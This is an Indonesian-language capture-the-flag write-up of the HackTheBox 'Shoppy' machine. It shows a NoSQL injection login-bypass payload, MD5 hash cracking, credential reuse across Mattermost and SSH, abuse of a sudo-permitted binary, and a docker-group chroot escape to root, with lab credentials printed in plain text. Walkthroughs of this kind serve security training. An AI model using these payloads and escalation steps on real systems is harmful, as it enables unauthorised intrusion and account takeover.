CTF, HACKTHEBOX, PENTEST, WRITEUPS

HackTheBox - Shoppy WriteUps

HackTheBox Shoppy Writeups

Kita mulai dengan memindai port mesin dengan nmap dan port yang terbuka seperti command terminal dibawah 

┌──(root㉿yupy)-[~]
└─# nmap -sC -sV 10.10.11.180 
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-24 01:04 PDT
Nmap scan report for 10.10.11.180 (10.10.11.180)
Host is up (0.037s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 9e:5e:83:51:d9:9f:89:ea:47:1a:12:eb:81:f9:22:c0 (RSA)
|   256 58:57:ee:eb:06:50:03:7c:84:63:d7:a3:41:5b:1a:d5 (ECDSA)
|_  256 3e:9d:0a:42:90:44:38:60:b3:b6:2c:e9:bd:9a:67:54 (ED25519)
80/tcp open  http    nginx 1.23.1
|_http-title: Did not follow redirect to http://shoppy.htb
|_http-server-header: nginx/1.23.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.47 seconds

Tampilan port 80 yang terbuka adalah seperti dibawah ini

image

Kita coba mencari directory dengan dirsearch 

┌──(root㉿yupy)-[~]
└─# dirsearch -u http://shoppy.htb/  -x 403,404

  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927

Output File: /root/.dirsearch/reports/shoppy.htb/-_22-09-24_01-05-52.txt

Error Log: /root/.dirsearch/logs/errors-22-09-24_01-05-52.log

Target: http://shoppy.htb/

[01:05:53] Starting: 
[01:05:53] 301 -  171B  - /js  ->  /js/                                    
[01:06:05] 302 -   28B  - /ADMIN  ->  /login                                
[01:06:05] 302 -   28B  - /Admin  ->  /login                                
[01:06:16] 302 -   28B  - /admin  ->  /login                                
[01:06:16] 302 -   28B  - /admin/?/login  ->  /login                        
[01:06:16] 302 -   28B  - /admin/  ->  /login                               
[01:06:31] 301 -  179B  - /assets  ->  /assets/                             
[01:06:42] 301 -  173B  - /css  ->  /css/                                   
[01:06:51] 301 -  177B  - /fonts  ->  /fonts/                               
[01:06:51] 200 -  208KB - /favicon.ico                                      
[01:06:56] 301 -  179B  - /images  ->  /images/                             
[01:07:02] 200 -    1KB - /login                                            
[01:07:02] 200 -    1KB - /login/

Tampaknya /admin memberi kita pengalihan ke /login: http://shoppy.htb/login

image

Kita coba untuk Authentication Bypass NoSQL Injection dengan menggunakan payload dibawah ini 

admin'||'1==1

image

Setelah berhasil masuk ke halaman admin, kita coba untuk mencari file konfigurasi yang terdapat pada server. dengan parameter search yang ada di halaman admin 

http://shoppy.htb/admin/search-users?username=admin'||'1==1

image

Kita mendapatkan Informasi admin dan password yang terdapat pada file konfigurasi, kita coba dengan crack password yang kita dapatkan dengan crackstation.net 

23c6877d9e2b564ef8b32c3a23de27b2	Unknown	Not found.
6ebcea65320589ca4f2f1ce039975995	md5	remembermethisway

image

kita coba menggunakan gobuster untuk mencari subdomain potensial untuk memperluas permukaan serangan kami. kami menggunakan GoBuster untuk mencari subdomain yang tersembunyi 

┌──(root㉿yupy)-[~]
└─# gobuster vhost -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -t 50 -u shoppy.htb
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:          http://shoppy.htb
[+] Method:       GET
[+] Threads:      50
[+] Wordlist:     /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
[+] User Agent:   gobuster/3.1.0
[+] Timeout:      10s
===============================================================
2022/09/24 01:08:36 Starting gobuster in VHOST enumeration mode
===============================================================
Found: mattermost.shoppy.htb (Status: 200) [Size: 3122]
                                                       
===============================================================
2022/09/24 01:10:28 Finished
===============================================================

dari scan gobuster kita menemukan subdomain mattermost.shoppy.htb dan jangan lupa kita menambahan pada /etc/hosts, mari kita coba buka di browser

image

dan kita coba login menggunakan username dan password yang kita dapatkan sebelumnya 

Username: josh
Password: remembermethisway

dan kita berhasil login ke mattermost. kita coba cari informasi penting yang ada di mattermost dan kita mendapatkan: 

1. Username: jaeger
2. Password: Sh0ppyBest@pp!

image

Kita coba login pada ssh dengan menggunakan username dan password yang kita dapatkan sebelumnya 

┌──(root㉿yupy)-[~]
└─# ssh jaeger@10.10.11.180
jaeger@10.10.11.180's password: 
Linux shoppy 5.10.0-18-amd64 #1 SMP Debian 5.10.140-1 (2022-09-02) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
jaeger@shoppy:~$ ls
Desktop    Downloads  Pictures  ShoppyApp        Templates  Videos
Documents  Music      Public    shoppy_start.sh  user.txt
jaeger@shoppy:~$ cat user.txt
1******************7

Selanjutnya kita coba Privilege Escalation dengan menggunakan “sudo -l” untuk melihat apakah kita memiliki akses sudo 

jaeger@shoppy:~$ sudo -l
[sudo] password for jaeger: 
Matching Defaults entries for jaeger on shoppy:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User jaeger may run the following commands on shoppy:
    (deploy) /home/deploy/password-manager

dan kita mendapatkan akses sudo untuk user deploy dan kita coba untuk menjalankan password-manager. dan kita mendapatkan informasi penting yang ada di password-manager dan membaca file “cat password-manager” 

Welcome to Josh password manager!Please enter your master password: SampleAccess granted! Here is creds !cat /home/deploy/creds.txtAccess denied! This incident will be reported !

Password: Sample

kita coba kembali ke sudo privilege escalation dengan menggunakan “sudo -l”. dengan command dibawah 

jaeger@shoppy:~$ sudo -u deploy /home/deploy/password-manager
Welcome to Josh password manager!
Please enter your master password: Sample
Access granted! Here is creds !
Deploy Creds :
username: deploy
password: Deploying@pp!

kita berpindah ke ssh yang baru dengan menggunakan username dan password yang kita dapatkan. 

┌──(root㉿yupy)-[~]
└─# ssh deploy@10.10.11.180
deploy@10.10.11.180's password: 
Linux shoppy 5.10.0-18-amd64 #1 SMP Debian 5.10.140-1 (2022-09-02) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
$ whoami
deploy
$ id
uid=1001(deploy) gid=1001(deploy) groups=1001(deploy),998(docker)
$ pwd
/home/deploy

Privilege Escalation Post Exploitation: Root via Docker Escape menggunakan GTFOBins Docker dan kita coba untuk menjalankan command dibawah 

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

$ docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(dialout),26(tape),27(sudo)

dan kita berhasil menjadi root dan kita coba untuk membaca file “root.txt” 

# cd root
# ls
root.txt
# cat root.txt
0******************6

image